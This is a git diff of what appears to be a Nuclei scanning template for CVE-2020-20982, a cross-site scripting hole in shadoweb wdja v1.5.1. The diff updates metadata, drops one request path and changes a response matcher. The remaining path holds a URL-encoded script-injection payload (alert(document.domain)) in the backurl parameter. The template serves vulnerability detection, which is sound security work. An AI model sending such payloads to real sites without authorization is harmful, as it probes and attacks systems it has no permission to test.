diff --git a/cves/2020/CVE-2020-20982.yaml b/cves/2020/CVE-2020-20982.yaml
index 71b8c59ff6..e53cbc1ccc 100644
--- a/cves/2020/CVE-2020-20982.yaml
+++ b/cves/2020/CVE-2020-20982.yaml
@@ -2,12 +2,14 @@ id: CVE-2020-20982
info:
name: shadoweb wdja v1.5.1 - Cross-Site Scripting
- author: pikpikcu
+ author: pikpikcu,ritikchaddha
severity: critical
description: shadoweb wdja v1.5.1 is susceptible to cross-site scripting because it allows attackers to execute arbitrary code and gain escalated privileges via the backurl parameter to /php/passport/index.php.
reference:
- https://github.com/shadoweb/wdja/issues/1
- https://nvd.nist.gov/vuln/detail/CVE-2020-20982
+ metadata:
+ verified: true
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
cvss-score: 9.6
@@ -18,7 +20,6 @@ info:
requests:
- method: GET
path:
- - "{{BaseURL}}/php/passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
- "{{BaseURL}}/passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
stop-at-first-match: true
@@ -27,7 +28,7 @@ requests:
- type: word
condition: and
words:
- - ''
+ - "location.href='"
- type: word
part: header